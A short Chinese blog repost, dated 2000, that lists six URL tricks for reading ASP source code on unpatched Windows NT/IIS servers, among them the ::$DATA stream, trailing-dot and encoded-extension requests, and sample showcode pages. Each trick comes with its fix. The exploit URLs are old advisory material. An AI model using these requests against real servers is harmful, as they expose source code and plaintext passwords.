偷看原码的6种方法

<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>

偷看ASP原码的6种方法

蓝森林http://www.lslnet.com2000年6月8日00:34


在没有打ServicesPack6补丁的NTserver上,至少有6种方法可以看到ASP程序的源代码,它们是:
1、http://www.someserver.com/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/SELECTOR/showcode.asp
解决方案:删除showcode.asp
2、http://somewhere/something.asp::$DATA
解决方案:装sp3
3、http://somewhere/something.asp%2e
解决方案:装sp4
orhttp://somewhere/something.asp.(加一个点)
解决方案:装sp4
4、http://somewhere/something%2e%41sp
或者http://somewhere/something%2e%asp
解决方案:装sp4
5、http://somewhere/something.asp%81
解决方案:装sp6或者打补丁
6、http://somewhere/iissamples/exair/howitworks/code.asp?source=xxx.asp
最大的危害莫过于asp文件可以被上述方式读出;密码以明文形式暴露在眼前;
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
阅读更多
想对作者说点什么?

博主推荐

换一批

没有更多推荐了,返回首页